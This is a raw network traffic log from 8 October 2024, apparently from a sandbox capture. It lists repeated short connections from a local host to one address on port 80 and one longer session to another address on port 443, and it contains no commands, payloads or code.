Oct 8, 2024 00:20:10.798019886 CEST	49753	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:10.802954912 CEST	80	49752	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:10.804753065 CEST	80	49753	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:10.804811954 CEST	49753	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:10.804972887 CEST	49753	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:10.804992914 CEST	49753	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:10.811449051 CEST	80	49753	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:10.813158989 CEST	80	49753	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:11.584964037 CEST	80	49753	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:11.584986925 CEST	80	49753	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:11.585120916 CEST	49753	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:11.585309029 CEST	49753	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:11.588279963 CEST	49754	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:11.592228889 CEST	80	49753	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:11.595700979 CEST	80	49754	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:11.597956896 CEST	49754	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:11.597956896 CEST	49754	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:11.597990990 CEST	49754	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:11.605500937 CEST	80	49754	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:11.606997013 CEST	80	49754	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:12.351321936 CEST	80	49754	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:12.351490021 CEST	80	49754	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:12.351541042 CEST	49754	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:12.351646900 CEST	49754	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:12.354286909 CEST	49755	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:12.358840942 CEST	80	49754	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:12.361083984 CEST	80	49755	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:12.361218929 CEST	49755	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:12.361294985 CEST	49755	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:12.361305952 CEST	49755	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:12.368458986 CEST	80	49755	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:12.370722055 CEST	80	49755	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:13.116003990 CEST	80	49755	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:13.116040945 CEST	80	49755	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:13.116137028 CEST	49755	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:13.116487980 CEST	49755	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:13.121377945 CEST	80	49755	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:13.355128050 CEST	49756	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:13.360045910 CEST	80	49756	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:13.360117912 CEST	49756	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:13.360466957 CEST	49756	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:13.360500097 CEST	49756	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:13.365240097 CEST	80	49756	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:13.365272045 CEST	80	49756	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.108429909 CEST	80	49756	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.108741999 CEST	80	49756	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.108812094 CEST	49756	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.108844995 CEST	49756	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.113524914 CEST	49757	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.113677979 CEST	80	49756	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.118304968 CEST	80	49757	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.118573904 CEST	49757	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.118573904 CEST	49757	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.118573904 CEST	49757	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.123399973 CEST	80	49757	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.123409986 CEST	80	49757	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.977386951 CEST	80	49757	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.977413893 CEST	80	49757	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.977526903 CEST	49757	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.977886915 CEST	49757	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.980313063 CEST	49758	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.985558987 CEST	80	49757	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.986932039 CEST	80	49758	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.987015963 CEST	49758	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.987154961 CEST	49758	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.987200975 CEST	49758	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:14.994054079 CEST	80	49758	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:14.995093107 CEST	80	49758	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:15.764854908 CEST	80	49758	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:15.765654087 CEST	80	49758	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:15.765842915 CEST	49758	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:15.769094944 CEST	49758	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:15.774219036 CEST	80	49758	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:15.962107897 CEST	49759	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:15.967855930 CEST	80	49759	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:15.967946053 CEST	49759	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:15.980737925 CEST	49759	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:15.982208014 CEST	49759	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:15.987967968 CEST	80	49759	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:15.988672972 CEST	80	49759	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:16.759238005 CEST	80	49759	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:16.759263039 CEST	80	49759	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:16.759382010 CEST	49759	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:16.759639025 CEST	49759	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:16.762031078 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:16.762068033 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:16.762202024 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:16.762857914 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:16.762872934 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:16.766304970 CEST	80	49759	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:17.343288898 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.343403101 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.348098040 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.348125935 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.348367929 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.357239962 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.403399944 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.706373930 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.706403017 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.706818104 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.706845999 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.748637915 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.791115046 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.791131020 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.791207075 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.791466951 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.791476011 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.791534901 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.792346954 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.792574883 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.793276072 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.793385983 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.874958038 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.875058889 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.875101089 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.875118971 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.875154972 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.875155926 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.876811028 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.877299070 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.877635956 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.877734900 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.878448963 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.878766060 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.879566908 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.879645109 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.942348957 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.942514896 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.960124016 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.960321903 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.960397005 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.960966110 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.961025953 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.961025953 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.961039066 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.961694002 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.961975098 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.962147951 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.962182999 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.962191105 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.962311029 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.962862015 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.962919950 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.962919950 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.962927103 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.963028908 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.963762045 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.963828087 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.964587927 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.964716911 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.965562105 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.965591908 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.965631008 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.965646982 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.965684891 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.965684891 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:17.966480017 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:17.966641903 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.026968002 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.027014017 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.027127028 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.027141094 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.027185917 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.027185917 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.044945002 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.044981003 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.045089006 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.045157909 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.045157909 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.045171022 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.045264959 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.045358896 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.045365095 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.045747042 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.045887947 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.045913935 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.045922995 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.045960903 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.045960903 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.046700954 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.046786070 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.046833992 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.046833992 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.046840906 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.046890974 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.046931982 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.046998024 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.047790051 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.047863960 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.047923088 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.047975063 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.049110889 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.049179077 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.049235106 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.049235106 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.049242020 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.049479961 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.049676895 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.049736977 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.051270008 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.051270008 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.114252090 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.114306927 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.114382029 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.114397049 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.114413023 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.114455938 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.128573895 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.128696918 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.129300117 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.129339933 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.129364014 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.129373074 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.129391909 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.129409075 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.129547119 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.129594088 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.129621983 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.129637003 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.129646063 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.129662991 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.129693031 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.129901886 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.129954100 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.129971027 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.130022049 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.130084038 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.130091906 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.130131960 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.130215883 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.130224943 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.133795977 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.133845091 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.133878946 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.134069920 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.134078979 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.134226084 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.134358883 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.134442091 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.134617090 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.134741068 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.195816994 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.195868969 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.195936918 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.195985079 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.196129084 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.196268082 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.196289062 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.196306944 CEST	49760	443	192.168.2.4	23.145.40.164
Oct 8, 2024 00:20:18.196312904 CEST	443	49760	23.145.40.164	192.168.2.4
Oct 8, 2024 00:20:18.640755892 CEST	49761	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:18.648154974 CEST	80	49761	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:18.648252010 CEST	49761	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:18.648441076 CEST	49761	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:18.648473978 CEST	49761	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:18.655041933 CEST	80	49761	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:18.656472921 CEST	80	49761	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:19.925240040 CEST	80	49761	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:19.925306082 CEST	80	49761	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:19.925348997 CEST	80	49761	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:19.925376892 CEST	80	49761	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:19.925424099 CEST	49761	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:19.925424099 CEST	49761	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:19.925424099 CEST	49761	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:19.925616026 CEST	49761	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:19.932842016 CEST	80	49761	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:19.936151028 CEST	49762	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:19.943041086 CEST	80	49762	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:19.943150043 CEST	49762	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:19.943342924 CEST	49762	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:19.943342924 CEST	49762	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:19.950026035 CEST	80	49762	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:19.951848984 CEST	80	49762	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:20.864453077 CEST	80	49762	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:20.864727020 CEST	80	49762	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:20.864927053 CEST	49762	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:20.865094900 CEST	49762	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:20.867615938 CEST	49763	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:20.871629000 CEST	80	49762	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:20.875447989 CEST	80	49763	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:20.876230001 CEST	49763	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:20.876399040 CEST	49763	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:20.876416922 CEST	49763	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:20.883169889 CEST	80	49763	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:20.885265112 CEST	80	49763	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:21.651169062 CEST	80	49763	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:21.652224064 CEST	80	49763	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:21.652306080 CEST	49763	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:21.652462959 CEST	49763	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:21.655181885 CEST	49764	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:21.657187939 CEST	80	49763	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:21.660022974 CEST	80	49764	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:21.660087109 CEST	49764	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:21.660253048 CEST	49764	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:21.660337925 CEST	49764	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:21.664988041 CEST	80	49764	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:21.665039062 CEST	80	49764	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:22.408415079 CEST	80	49764	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:22.408643961 CEST	80	49764	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:22.408715010 CEST	49764	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:22.409029961 CEST	49764	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:22.411640882 CEST	49765	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:22.417217970 CEST	80	49764	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:22.419023991 CEST	80	49765	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:22.419137955 CEST	49765	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:22.419502020 CEST	49765	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:22.419570923 CEST	49765	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:22.426630974 CEST	80	49765	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:22.428848982 CEST	80	49765	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.179668903 CEST	80	49765	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.179734945 CEST	80	49765	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.179852009 CEST	49765	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.180056095 CEST	49765	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.182590008 CEST	49767	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.185030937 CEST	80	49765	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.187609911 CEST	80	49767	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.187695026 CEST	49767	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.187813997 CEST	49767	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.187836885 CEST	49767	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.192739010 CEST	80	49767	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.192770958 CEST	80	49767	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.966139078 CEST	80	49767	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.966808081 CEST	80	49767	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.967118025 CEST	49767	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.967118979 CEST	49767	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.969985962 CEST	49773	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.974524021 CEST	80	49767	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.976219893 CEST	80	49773	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.976305962 CEST	49773	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.976464033 CEST	49773	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.976478100 CEST	49773	80	192.168.2.4	109.175.29.39
Oct 8, 2024 00:20:23.982877970 CEST	80	49773	109.175.29.39	192.168.2.4
Oct 8, 2024 00:20:23.982888937 CEST	80	49773	109.175.29.39	192.168.2.4
